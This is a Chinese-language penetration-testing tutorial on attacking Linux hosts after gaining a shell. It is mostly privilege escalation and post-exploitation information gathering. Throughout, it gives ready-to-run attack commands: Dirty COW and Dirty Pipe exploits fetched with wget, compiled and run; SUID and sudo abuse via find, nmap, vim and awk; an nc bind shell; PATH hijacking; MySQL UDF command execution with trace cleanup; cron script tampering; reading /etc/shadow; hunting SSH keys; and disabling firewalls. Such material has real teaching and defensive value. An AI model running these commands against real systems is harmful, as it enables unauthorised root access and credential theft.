­

Linux內網滲透

Linux雖然沒有域環境,但是當我們拿到一台Linux 系統許可權,難道只進行一下提權,捕獲一下敏感資訊就結束了嗎?顯然不只是這樣的。本片文章將從拿到一個Linux shell開始,介紹Linux內網滲透技術,分為容器逃逸、Linux提權、Linux資訊收集、Linux隧道技術、Linux橫向移動、Linux許可權維持、Linux痕迹清理幾個部分。

容器逃逸

容器逃逸的應用主要是,拿到shell之後,發現是docker環境,要進一步滲透,就必須逃逸到宿主機。

容器逃逸方法見:
//www.cnblogs.com/yokan/p/16049516.html

Linux提權

Linux提權大概可以分為下面幾種:

系統內核提權;第三方服務提權;資料庫提權;密碼收集提權;鍵盤記錄提權;Suid提權;Sudo提權;反彈shell提權。

提權輔助工具

GTFOBins

//gtfobins.github.io/

GTFOBins是一個精心策劃的Unix二進位文件列表,可以用來繞過錯誤配置系統中的本地安全限制。該項目收集了Unix二進位文件的合法函數,這些函數可能被濫用,以打破受限制的shell,升級或維護提升的特權,傳輸文件,生成綁定和反向shell,並為其他事後利用任務提供便利。需要注意的是,這不是一個漏洞列表,這裡列出的程式本身並不容易受到攻擊,相反,GTFOBins是一個概要,說明當您只有某些二進位文件可用時,如何獲得root許可權

BeRoot

//github.com/AlessandroZ/BeRoot/tree/master/Linux

BeRoot用於檢查Linux和Mac OS上常見的錯誤配置,以找到一種方法來升級我們的特權。檢查項包括GTFOBins中的二進位文件、通配符錯誤、suid、環境變數、NFS、sudo等等,詳細可以去上面鏈接看。

image-20220127175936922

image-20220127175950928

pspy

//github.com/DominicBreuker/pspy

Pspy是一個命令行工具,用於在不需要root許可權的情況下窺探進程。它允許您在其他用戶運行的命令、cron任務等執行時查看它們。該工具通關循環遍歷/proc下的值來獲取進程參數資訊。

traior

//github.com/liamg/traitor

多個linux提權漏洞縫合怪。

Traitor 打包了一堆方法來利用本地錯誤配置和漏洞來自動提權:

  • 幾乎所有的GTFOBins
  • 可寫 docker.sock
  • CVE-2022-0847(臟管)
  • CVE-2021-4034 (pwnkit)
  • CVE-2021-3560

image-20220428110652285

0x00 基礎資訊收集

在說提權之前先介紹一下基本的資訊收集命令,為後續的提權做準備。

1、內核,作業系統和設備資訊

uname -a  列印所有可用的系統資訊
uname -r  內核版本
uname -n  系統主機名。
uname -m  查看系統內核架構(64位/32位)
hostname  系統主機名
lsb_release -a   發行版資訊
cat /proc/version  內核資訊
cat /etc/*-release  發行版資訊
cat /etc/issue    發行版資訊
cat /proc/cpuinfo  CPU資訊

image-20220119173222186

image-20220119173308486

2、用戶和群組

cat /etc/passwd     列出系統上的所有用戶
cat /etc/group      列出系統上的所有組
groups              當前用戶所在的組
groups test         test用戶所在的組
getent group xxx      xxx組裡的用戶
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      列出所有的超級用戶賬戶
whoami              查看當前用戶
w                   誰目前已登錄,他們正在做什麼
last                最後登錄用戶的列表
lastlog             所有用戶上次登錄的資訊
lastlog –u %username%  有關指定用戶上次登錄的資訊

image-20220119175943129

image-20220119180007785

image-20220119174456912

3、用戶和許可權資訊

whoami        當前用戶名
id            當前用戶資訊
cat /etc/sudoers  誰被允許以root身份執行
sudo -l       當前用戶可以以root身份執行操作

image-20220119180537906

yokan用戶可以以root身份執行任意操作

4、環境資訊

env        顯示環境變數
echo %PATH 路徑資訊
history    顯示當前用戶的歷史命令記錄
pwd        輸出工作目錄
cat /etc/profile   顯示默認系統變數
cat /etc/shells    顯示可用的shell

image-20220119181617068

0x01 內核漏洞提權

提示:內核漏洞提權有風險,有可能會崩潰系統。

內核漏洞是我們幾乎最先想到的提權方法。通殺的內核漏洞是十分少見的,因而我們應該先對系統相關的資訊進行收集,收集方法參考第一小節基礎資訊收集即可。

大多內核漏洞通過內核版本能很快查到

SearchSploit

用kali自帶的searchsploit來搜索exploitdb中的漏洞利用程式碼

SearchSploit是一個Exploit-DB的命令行搜索工具,它還允許隨身攜帶漏洞利用資料庫的副本。

介紹://xz.aliyun.com/t/2860

SearchSploit使用:

更新SearchSploit:

 apt update && apt -y full-upgrade
 searchsploit -u

基本搜索語法:

只需添加您想要查找的任意數量的搜索詞:

searchsploit linux 2.6 ubuntu priv esc

Tip:如果你沒有收到預期的結果,可以使用更通用的術語進行更廣泛的搜索。如:Kernel 2.6.25 - >Kernel 2.6 / / Kernel 2.x。
Tip:不要使用縮寫如:SQLi -> SQL Injection。

image-20220124153231621

顯示漏洞利用的完整路徑:

-p, --path [EDB-ID]     顯示漏洞利用的完整路徑(如果可能,還將路徑複製到剪貼板),後面跟漏洞ID號

image-20220124153317909

不建議在本地的漏洞資料庫中修改exp,建議使用-m參數複製那些有用的到當前的工作目錄:

-m, --mirror [EDB-ID]   把一個exp拷貝到當前工作目錄,參數後加目標id

image-20220124153555414

exp利用:

將exp上傳到目標技巧,編譯運行(編譯方法,在源碼的注釋里有)

gcc 9545.c -o exp
chmod 777 exp
./exp

當然,以上只是非常理想的情況,我們經常會遇到沒有gcc的坑爹伺服器。這時我們就需要在本地編譯。本地編譯時不止要看exp源碼注釋的編譯參數,也需要手動調整一下編譯的參數,比如給gcc 加-m 32來編譯32位。編譯問題繁多,有困難找Google。

最後強調利用內核漏洞的幾個注意點

1.讀源碼注釋,有exp基本資訊和編譯方法,不然可能連編譯都不會
2.讀源碼,不然費勁編譯完才發現不適用
3.讀源碼,不然遇到一個刪全盤的」exp「怎麼辦

臟牛漏洞(CVE-2016-5195)

漏洞原理:該漏洞具體為,get_user_page內核函數在處理Copy-on-Write(以下使用COW表示)的過程中,可能產出競態條件造成COW過程被破壞,導致出現寫數據到進程地址空間內只讀記憶體區域的機會。修改su或者passwd程式就可以達到root的目的。
漏洞編號:CVE-2016-5195
漏洞名稱:臟牛(Dirty COW)
漏洞危害:低許可權用戶利用該漏洞技術可以在全版本上實現本地提權
影響範圍:3.9>Linux kernel >=2.6.22 並且Android也受影響

利用腳本合集:PoCs · dirtycow/dirtycow.github.io Wiki

漏洞復現:

先查看一下系統版本資訊

Image

linux kernel版本2.6.32,應該可以用臟牛提權。下載臟牛提權腳本

這裡使用dirty.c這個exp:

這個exp利用了dirtycow漏洞的pokemon漏洞 。會自動生成一個新的passwd行。 運行二進位文件時,會提示用戶輸入新密碼。 原/etc/passwd文件會備份到/tmp/passwd.bak下 ,用生成的行覆蓋根帳戶。運行該漏洞後,你應該能夠登錄新創建的用戶。 使用此漏洞可以根據您的需要修改用戶值。 默認為「firefart」用戶。

上傳到目標系統tmp目錄下

Image

在/tmp目錄下直接起一個命令行,然後編譯運行腳本

image-20220124161558986

此時切換到firefart用戶,密碼為123456

Image

執行id命令後可以看到已經為root用戶了,成功提權。

Dirty Pipe(CVE-2022-0847)

利用條件

5.8<=Linux kernel<5.16.11/5.15.25/5.10.102

image-20220308105905701

EXP:

//haxx.in/files/dirtypipez.c 
#原理為 直接修改一個具有suid許可權的可執行文件,然後執行這個可執行文件提權,完成提權後再把文件改回來

or

//github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
#原理為  覆蓋 /etc/passwd 中的 root 密碼欄位並在彈出 root shell 後恢復

利用:

wget //haxx.in/files/dirtypipez.c
gcc -o dirtypipez dirtypipez.c
./dirtypipez /usr/bin/su  #任何具體suid許可權的文件均可

image-20220308111821303

0x02 SUID 提權

什麼是suid?suid全稱是Set owner User ID up on execution。這是Linux給可執行文件的一個屬性——s標誌。通俗的理解為其他用戶執行這個程式的時候可以用該程式所有者/組的許可權。需要注意的是,只有程式的所有者是0號或其他super user,同時擁有suid許可權,才可以提權

推薦閱讀P神的這篇文章://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

image-20220124165311590

常見的可用來提權的Linux 可執行文件有:

Nmap, Vim, find, bash, more, less, nano, cp

查看可以suid 提權的可執行文件:

find / -perm -u=s -type f 2>/dev/null
或者
find / -user root -perm -4000 -print 2>/dev/null

image-20220124175348783

下面列舉幾個常見的設置了SUID的應用程式提權手段:

  • find
ls -al /usr/bin/find
-rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find

實用程式find用來在系統中查找文件。同時,它也有執行命令的能力。 因此,如果配置為使用SUID許可權運行,則可以通過find執行的命令都將以root身份去運行。

比如:DC -1 靶機就是利用find 命令進行root 用戶來執行命令

image-20220124175813014

大部分Linux 系統都安裝了nc。使用如下命令即可成功得到root shell:

find / -type f -exec /bin/bash \;
或
find / -exec nc -lvp 5555 -e /bin/sh \;
nc ip port

測試:

chomod u+s /usr/bin/find   #chmod u+s  給某個程式的所有者suid許可權。

image-20220125134958057

  • nmap

較舊版本的Nmap(2.02≤nmap<5.21)帶有交互模式,從而允許用戶執行shell命令。由於Nmap位於上面使用root許可權執行的二進位文件列表中,因此可以使用互動式控制台來運行具有相同許可權的shell。)

可以使用下命令進入namp交互模式

nmap --interactive

執行命令後會返回一個shell

nmap> !sh
sh-3.2# whoami
root

image-20220124220559588

5.2.0 之後,nmap 還可以通過執行腳本來提權:

在某些發行版的Linux 可能會提權失敗。具體原理移步p 師傅文章

# nse腳本 shell.nse
os.execute('/bin/sh')
# nmap 提權
nmap --script=shell.nse 

或者

echo 'os.execute("/bin/sh")' > getshell
sudo nmap --script=getshell
  • vim

如果vim 是通過SUID運行,就會繼承root用戶的許可權。可讀取只有root能讀取的文件。

vim /etc/shadow

vim 運行shell

vim
:set shell=/bin/sh
:shell

同理,滿足條件的 lessmore 都可。

  • awk
awk 'BEGIN {system("/bin/bash")}'
  • strace
strace -o/dev/null /bin/bash

0x03 利用環境變數提權

利用關鍵在於找到具有SUID許可權的文件,環境變數中有自己能控制的路徑,比如當前目錄(.)

詳細文章參考://xz.aliyun.com/t/2767

PATH 是Linux 和 Unix 作業系統中的環境變數,它指定存儲可執行程式的所有bin和sbin目錄。當用戶在終端上執行任何命令時,它會通過PATH變數來響應用戶執行的命令,並向shell發送請求以搜索可執行文件。超級用戶通常還具有/sbin和/usr/sbin條目,以便於系統管理命令的執行。

使用echo命令顯示當前PATH環境變數:

image-20220125155641506

測試:

環境配置:

現在我們的當前目錄是/home/yokan,我們將在當前目錄下創建一個srcipt目錄。然後cd到script目錄中,編寫一個簡單的c程式來調用系統二進位文件的函數。

pwd
mkdir script
cd /script
nano demo.c

demo.c文件內容如下圖,你可以看到,我們調用了ps命令,即系統二進位文件:

image-20220125160520291

然後使用gcc命令編譯demo.c文件並且賦予編譯文件SUID許可權,命令如下:

gcc demo.c -o shell    #需要以root許可權編譯
chmod u+s shell
ls -la shell

image-20220125162407306

攻擊利用

首先,你需要先入侵靶機系統並且進入到提權階段。假設你已經通過ssh成功登錄到了靶機上,二話不說,我們直接使用find命令來搜索具有SUID或4000許可權的文件。

find / -perm -u=s -type f 2>/dev/null

通過執行上述命令,攻擊者可以遍歷任何可執行文件,在這裡我們可以看到/home/yokan/script目錄下的shell文件具有SUID許可權,如圖:

image-20220125163256535

於是我們cd到/home/yokan/script/目錄下,ls一下,看到了名為shell的可執行文件。我們運行一下這個文件,可以看到shell文件嘗試執行ps命令,這個命令是/bin目錄下的用來查看進程狀態的真實文件。

ls
./shell

image-20220125163649303

提權:

echo命令

cd /tmp
echo 「/bin/bash」 > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/yokan/script
./shell
whoami

image-20220125170019652

其他更多的方法參考上面的文章。

0x04 利用第三方服務提權

當一些第三方服務,以root身份運行, 我們通過它拿到的shell就是root許可權。

netstat -antup該命令可以顯示所有打開並正在監聽的埠,我們可以通過此命令檢查是否有可以利用的本地服務

ps -aux | grep root 該命令可以顯示以root用戶身份運行的服務

Docker 組提權

docker 組內用戶執行命令的時候會自動在所有命令前添加 sudo。因為設計或者其他的原因,Docker 給予所有 docker 組的用戶相當大的權力(雖然權力只體現在能訪問 /var/run/docker.sock 上面)。默認情況下,Docker 軟體包是會默認添加一個 docker 用戶組的。Docker 守護進程會允許 root 用戶和 docker
組用戶訪問 Docker。給用戶提供 Docker 許可權和給用戶無需認證便可以隨便獲取的 root 許可權差別不大。

docker組內用戶執行如下命令,即可獲得root許可權

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

#參數 -v 將容器外部的目錄 / 掛載到容器內部 /hostOS
這個容器的啟動腳本是 exploit.sh,主要內容是:chroot 到容器的 /hostOS (也就是宿主機的 /),然後獲取到宿主機的 root 許可權。

測試:

創建了個用戶dockertest加入了docker組,然後執行如下命令,獲得root許可權

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

image-20220127103442647

MySQL UDF 提權

先查看 secure_file_priv 的值是否為空,因為只有為空我們才能繼續下面的提權步驟

image-20220127143444967

image-20220127143452505

提權步驟:

  1. 獲取udf程式碼
sqlmap中有現成的udf文件,分為32位和64位,一定要選擇對版本,否則會顯示:Cant open shared libraryudf.dll『。

sqlmap\udf\mysql\windows\32目錄下存放著lib_mysqludf_sys.dll_
sqlmap\udf\mysql\windows\64目錄下為64位的lib_mysqludf_sys.dll_

但是sqlmap 中 自帶 的shell 以及一些二進位文件,為了防止被誤殺都經過異或方式編碼,不能直接使用的。
可以利用sqlmap 自帶的解碼工具cloak.py,進入到 sqlmap\extra\cloak\cloak 目錄下,執行命令:
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

sqlmap中的udf文件提供的函數:
sys_eval,執行任意命令,並將輸出返回。
sys_exec,執行任意命令,並將退出碼返回。
sys_get,獲取一個環境變數。
sys_set,創建或修改一個環境變數。
  1. 將udf文件上傳到指定位置
MySQL<5.0,導出路徑隨意;
5.0 <= MySQL<5.1,則需要導出至目標伺服器的系統目錄(如:c:/windows/system32/)
MySQL 5.1以上版本,必須要把udf.dll文件放到MySQL安裝目錄下的lib\plugin文件夾下才能創建自定義函數。

select @@basedir;  #查看mysql安裝目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS創建lib目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS創建plugin目錄
select 0xUDFcode into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll';  #導出udfcode,注意修改udfcode
  1. 從udf文件中引入自定義函數
create function sys_eval returns string soname 'udf.dll';    
//sys_eval是函數名稱(可選shell,sys_exec,sys_eval),udf.dll是lib_mysqludf_sys.dll_上傳後的文件名
  1. 執行命令
select * from mysql.func where name = 'sys_eval';    #查看創建的sys_eval函數
select sys_eval('whoami');                           #使用系統命令
  1. 痕迹清除
drop function sys_eval; #刪除函數
delete from mysql.func where name='sys_eval' #刪除函數

redis提權

如果Redis以root身份運行,黑客可以利用Redis寫入SSH公鑰文件,直接通過SSH免密碼登錄受害伺服器。Redis 默認綁定在6379埠,並且沒有開啟認證,在沒有任何訪問策略的情況下,任何人可以直接在非授權情況下直接訪問Redis服務並進行相關操作。

詳細參考《Redis基礎與簡單利用.docx》

0x05 Sudo提權

一旦攻擊者有權訪問任何SUDO用戶,那麼他基本上就可以使用root許可權執行任何命令。管理員可能只允許用戶通過SUDO運行一些命令,但絕對不是所有命令,即使是使用這樣的配置,他們也可能會在不知情的情況下引入漏洞,從而導致許可權提升的風險。

無密碼:

sudo -l列印允許作為SUDO運行的命令

image-20220127154912080

假如我們被允許以sudo運行find、cat、vi、more、less、nmap、perl、ruby、gdb、python等任何程式語言編譯器、解釋器和編輯器,那麼我們就可以通過這些命令,獲得root許可權。

實際環境中不一定會這麼明顯顯示可用命令,某些配置也是可以使用這幾個命令的,如果對sudo機制不熟悉,可以直接使用sudo+命令 測試是否可用。

例如 vi命令:

進入底線命令模式,輸入:!/bin/bash,即可打開一個用戶為root的shell

sudo vi test.txt
:!/bin/bash

image-20220127155403490

有密碼:

如果知道sudo組用戶的密碼,可以直接sudo -i提權。

sudo -i: 為了頻繁的執行某些只有超級用戶才能執行的許可權,而不用每次輸入密碼,可以使用該命令。提示輸入密碼時該密碼為當前賬戶的密碼。沒有時間限制。執行該命令後提示符變為「#」而不是「$」。想退回普通賬戶時可以執行「exit」或「logout」 。

image-20220127153143584

補充:

直接在低權shell裡面用sudo是不奏效的,這是因為出於安全考慮,linux要求用戶必須從終端設備(tty)中輸入密碼,而不是標準輸入(stdin)。換句話說,sudo在你輸入密碼的時候本質上是讀取了鍵盤,而不是bash裡面輸入的字元。因此為了能夠輸入密碼,我們必須模擬一個終端設備。

python就有這樣的功能。在shell裡面輸入:

python -c 'import pty;pty.spawn("/bin/sh")'

就用python建立了一個虛擬終端,然後就可以使用sudo等等命令了。

Linux sudo許可權提升漏洞(CVE-2021-3156)

非常好用

概述

當sudo通過 -s 或 -i 命令行選項在shell模式下運行命令時,它將在命令參數中使用反斜杠轉義特殊字元。但使用 -s 或 -i 標誌運行 sudoedit 時,實際上並未進行轉義,從而可能導致緩衝區溢出。因此只要存在sudoers文件(通常是 /etc/sudoers),攻擊者就可以使用本地普通用戶利用sudo獲得系統root許可權。

影響版本

sudo 1.8.2 – 1.8.31p2

sudo 1.9.0 – 1.9.5p1

查看sudo版本

命令:sudo –version

image-20220329113939864

POC

//github.com/worawit/CVE-2021-3156

復現

sudo --version

image-20220329113939864

python exploit_defaults_mailer.py

/tmp/sshell

image-20220329115426761

image-20220329115317201

0x06 文件許可權配置不當

當某個進程啟動許可權為ROOT,對應文件編輯許可權為普通用戶時,我們可以利用該問題點進行提權。

pspy(//github.com/DominicBreuker/pspy)工具提供了普通用戶許可權即可監聽進程資訊

測試環境:

首先我們創建一個while循環,並使用ROOT用戶循環執行/tmp/1.sh。

利用:

我們獲取普通用戶許可權時,利用pspy可以監控到ROOT用戶在持續執行/tmp/1.sh:

image-20220127160538651

嘗試查看/tmp/1.sh文件內容和許可權,發現我們當前用戶具備讀寫許可權:

image-20220127160552669

我們嘗試替換文件內容,查看是否會以ROOT許可權啟動其中命令:

image-20220127160604367

發現成功提權,以ROOT許可權啟動自定義命令:

image-20220127160614745

0x07 計劃任務配置不當

Cron任務常常以root許可權運行。如果我們可以成功篡改Cron任務中定義的任何腳本或二進位文件,我們便可以使用root許可權執行任意程式碼。

查看計劃任務的方法:

crontab -l
ls -alh /var/spool/cron
cat /etc/cron*

舉例:

ls -la /etc/cron.d 列印cron.d中已經存在的Cron任務。

image-20220127163630598

find / -perm -2 -type f 2>/dev/null 列印全局可寫入文件

image-20220127163838336

cron-logrotate.sh是全局可寫入的,它由cronjob運行。我們在cron-logrotate.sh中寫入/添加的任何命令都會以root身份執行

我們在/tmp目錄下編寫一個C文件,並對其進行編譯:

image-20220127164522954

image-20220127164539664

rootme可執行文件會產生一個Shell。ls -la rootme 說明該文件由用戶SHayslett擁有。

然後執行下面命令,將可執行文件的所有者和分組修改為root,同時也會設置SUID位:

echo "chown root:root /tmp/rootme; chmod u+s /tmp/rootme;">/usr/local/sbin/cron-logrotate.sh

待logrotate Cron任務以root許可權運行後,

運行./rootme產生一個root Shell

image-20220127164912989

Linux Polkit許可權提升漏洞(CVE-2021-4034)

漏洞描述:該漏洞是由於pkexec無法正確處理調用參數,從而將環境變數作為命令執行,具有任意用戶許可權的攻擊者都可以在默認配置下通過修改環境變數來利用此漏洞,從而獲得受影響主機的root許可權。

受影響linux

2009年5月至 2022 年1月26日發布的所有 Polkit 版本
Polkit預裝在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多個Linux發行版上,所有存在該版本範圍Polkit的Linux系統均受影響。

受影響國產化作業系統:
銀河麒麟高級伺服器作業系統 V10
銀河麒麟高級伺服器作業系統 V10 SP1
銀河麒麟高級伺服器作業系統 V10 SP2
統信 UOS 伺服器作業系統 V20
銀河麒麟桌面版作業系統 V10
銀河麒麟桌面版作業系統 V10 SP1
統信 UOS 桌面版作業系統 V20
中標麒麟桌面版作業系統 V7.0

版本檢測:

Linux系統用戶可以通過查看Polkit版本來判斷當前系統是否在受影響範圍內,主流Linux發行版命令如下:

CentOS、RedHat 系列:

rpm -qa polkit

Debian、Ubuntu 系列:

dpkg -l policykit-1

不受影響版本

CentOS:

CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0polkit-0.115-13.el8_5.1
CentOS 8.2polkit-0.115-11.el8_2.2
CentOS 8.4polkit-0.115-11.el8_4.2

Ubuntu:

Ubuntu 14.04 ESMpolicykit-1-0.105-4ubuntu3.14.04.6+esm1
Ubuntu 16.04 ESMpolicykit-1-0.105-14.1ubuntu0.5+esm1
Ubuntu 18.04 LTSpolicykit-1-0.105-20ubuntu0.18.04.6
Ubuntu 20.04 LTSpolicykit-1-0.105-26ubuntu1.2
Ubuntu 21.10policykit-1-0.105-31ubuntu0.1

Debain:

Debain stretchpolicykit-1 0.105-18+deb9u2
Debain busterpolicykit-1 0.105-25+deb10u1
Debain bullseyepolicykit-1 0.105-31+deb11u1
Debain bookworm,bullseyepolicykit-1 0.105-31.1

漏洞復現:

CentOS環境

image-20220126233642250

image-20220126233726820

利用:

image-20220127000405594

exp網上很多。也很穩定。也算是個」神洞「了。

Linux資訊收集

本機基本資訊

#管理員
$普通用戶
@之前表示登錄的用戶名稱,之後表示主機名,再之後表示當前所在目錄
/ 表示根目錄  
~表示當前用戶家目錄

1、內核,作業系統和設備資訊

uname -a  列印所有可用的系統資訊
uname -r  內核版本
uname -n  系統主機名。
uname -m  查看系統內核架構(64位/32位)
hostname  系統主機名
lsb_release -a   發行版資訊
cat /proc/version  內核資訊
cat /etc/*-release  發行版資訊
cat /etc/issue    發行版資訊
cat /proc/cpuinfo  CPU資訊

image-20220119173222186

image-20220119173308486

2、用戶和群組

cat /etc/passwd     列出系統上的所有用戶
cat /etc/shadow     查看用戶Hash
cat /etc/group      列出系統上的所有組
groups              當前用戶所在的組
groups test         test用戶所在的組
getent group xxx      xxx組裡的用戶

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      列出所有的超級用戶賬戶
awk -F: 'length($2)==0 {print $1}' /etc/shadow  #查看是否存在空口令用戶
awk '/\$1|\$6/{print $1}' /etc/shadow #查看遠程登錄的帳號 

whoami              查看當前用戶
w                   誰目前已登錄,他們正在做什麼
who                 命令用於顯示系統中有哪些使用者正在上面
last                最後登錄用戶的列表
lastlog             所有用戶上次登錄的資訊
lastlog –u %username%  有關指定用戶上次登錄的資訊

image-20220119175943129

image-20220119180007785

image-20220119174456912

3、用戶和許可權資訊

whoami        當前用戶名
id            當前用戶資訊
cat /etc/sudoers  可以使用sudo提升到root的用戶
sudo -l       當前用戶可以以root身份執行操作

image-20220119180537906

image-20220128144449999

yokan用戶可以以root身份執行任意操作

4、環境資訊

env        顯示所有的環境變數
set        顯示本地環境變數
echo $PATH 環境變數中的路徑資訊
export [-fnp][變數名稱]=[變數設置值]     顯示和設置環境變數   
pwd        輸出工作目錄
cat /etc/profile   顯示默認系統變數
cat /etc/shells    顯示可用的shell
ls -la /etc/*.conf  查看etc下所有配置文件

image-20220119181617068

5、歷史命令

顯示當前用戶的歷史命令記錄

history    
cat ~/.bash_history  

# 查看其他用戶的歷史命令文件
cat /home/user/.bash_history

history顯示記憶體和~/.bash_history中的所有內容
記憶體中的內容並沒有立刻寫入~/.bash_history,只有噹噹前shell關閉時才會將記憶體內容寫入shell

6、進程資訊

ps aux   以用戶的格式顯示所有進程,包括非終端的進程
ps -ef   顯示所有進程,顯示UID,PPIP(父進程),C與STIME欄位
ps -ef | grep java   查詢某個應用的所有進程資訊
top      實時顯示佔用最多的進程

image-20220128151110438

如果想查看進程的CPU佔用率和記憶體佔用率,可以使用aux

如果想查看進程的父進程ID和完整的COMMAND命令,可以使用-ef

lsof -c $PID           查看進程關聯文件
/proc/$PID/cmdline     完整命令行資訊 
/proc/$PID/comm        進程的命令名 
/proc/$PID/cwd         進程當前工作目錄的符號鏈接 
/proc/$PID/exe         運行程式的符號鏈接 
/proc/$PID/environ     進程的環境變數 
/proc/$PID/fd          進程打開文件的情況 

7、服務資訊

cat /etc/services      查詢存在的服務
cat /etc/services | grep Java     查詢對應的服務
systemctl list-units --type=service --state=running   查詢已經開啟的服務

image-20220128154119951

8、計劃任務

在Linux系統中,計劃任務一般是由cron承擔。cron啟動後,它會讀取它的所有配置文件(全局性配置文件/etc/crontab,以及每個用戶的計劃任務配置文件),然後cron會根據命令和執行時間來按時來調用工作任務。

/var/spool/cron/crontabs :這個目錄以帳號來區分每個用戶自己的執行計劃
/etc/crontab :系統執行計劃,需要在後邊加上用戶格式
所有計劃任務項:
/var/spool/cron/*
/var/spool/anacron/*
/etc/crontab
/etc/anacrontab
/etc/cron.*
/etc/anacrontab
crontab -l    查詢當前用戶所有的計劃任務
crontab -l -u user   查詢指定用戶的計劃任務
cat /var/spool/cron/crontabs/root   查詢root用戶的計劃任務

9、網路、路由和通訊

查詢ip

ifconfig
ip addr

列印路由資訊

route         查詢路由表
route -n      查詢路由表,以ip地址顯示
netstat -r    查詢路由表
ip ro

查看系統arp表

arp -a

埠開放情況

netstat -antup     所有埠
netstat -antp      tcp埠
netstat -anup      udp埠

查看埠服務映射

cat /etc/services

列出iptables的配置規則

iptables -L

顯示網卡資訊

netstat -i

dns資訊

cat /etc/resolv.conf      查看dns配置資訊
dnsdomainname -V          列印DNS系統中FQDN名稱中的域名
cat /etc/hosts            查看hosts域名解析文件

10、已安裝應用

rpm -qa --last     #Redhat、CentOS
rpm -qa polkit     #查看指定應用的安裝版本

dpkg -l            #ubuntu、debian
dpkg -l policykit-1   #查看指定應用的安裝版本
dpkg -L xxx        #查詢某個軟體所關聯的文件

11、查找能寫或執行的目錄

find / -writable -type d 2>/dev/null
find / -perm -o+w -type d 2>/dev/null
find / -perm -o+x -type d 2>/dev/null

12、防火牆

iptables -L   查看防火牆配置

查看防火牆狀態:
systemctl status firewalld
service iptables status
暫時關閉防火牆:
systemctl stop firewalld
service iptables stop
永久關閉防火牆:
systemctl disable firewalld
chkconfig iptables off
重啟防火牆:
systemctl enable firewalld
service iptables restart

13、敏感文件

find命令 -o參數 表示 或者 的意思

find / -type f -iname "*.bash_history" -o -iname "*config*" -o -iname "web.xml" -o -iname "*database*" -o -iname "*pass*" 2>/dev/null

查找SSH密鑰:

find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls

Web應用服務

常見配置文件路徑:

/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/apache/php/php.ini
/bin/php.ini
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/php.ini
/etc/init.d/httpd
/etc/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/cgi/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php5/cgi/php.ini
/etc/phpmyadmin/config.inc.php
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/home/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/NetServer/bin/stable/apache/php.ini
/opt/www/conf/httpd.conf
/opt/xampp/etc/php.ini
/PHP/php.ini
/php/php.ini
/php4/php.ini
/php5/php.ini
/usr/lib/php.ini
/etc/nginx/nginx.conf
/usr/lib/php/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/php.ini
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/usr/local/etc/php.ini
/usr/local/httpd/conf/httpd.conf
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/php5.ini
/usr/local/share/examples/php/php.ini
/usr/local/share/examples/php4/php.ini
/usr/local/Zend/etc/php.ini
/var/apache2/config.inc
/var/httpd/conf/httpd.conf
/var/httpd/conf/php.ini
/var/httpd/conf/php.ini
/var/local/www/conf/httpd.conf
/var/local/www/conf/php.ini
/var/www/conf/httpd.conf
/web/conf/php.ini
/www/conf/httpd.conf
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf

資料庫

/etc/init.d/mysql
/etc/my.cnf
/etc/mysql/my.cnf
/etc/mysql/my.cnf
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/usr/local/mysql/bin/mysql
/usr/local/mysql/my.cnf
/usr/share/mysql/my.cnf

自動化腳本

linux_info.sh

#!/bin/bash

#輸出文件
filename=$(date +%s)'.log'

echo "資訊收集"
echo -e "\n" | tee -a $filename
echo "賬戶資訊收集" | tee -a $filename
cat /etc/passwd | tee -a $filename
echo -e "\n" | tee -a $filename
echo "shadow" | tee -a $filename
cat /etc/shadow | tee -a $filename
echo -e "\n" | tee -a $filename
echo "進程資訊收集" | tee -a $filename
ps aux | tee -a $filename
echo -e "\n" | tee -a $filename
echo "網路連接" | tee -a $filename
netstat -antlp | tee -a $filename
echo -e "\n" | tee -a $filename
echo "當前用戶:" $(whoami) 2>/dev/null | tee -a $filename
echo -e "\n" | tee -a $filename
echo "埠監聽" | tee -a $filename
netstat -lnpt | tee -a $filename
echo -e "\n" | tee -a $filename
echo "可登陸用戶" | tee -a $filename
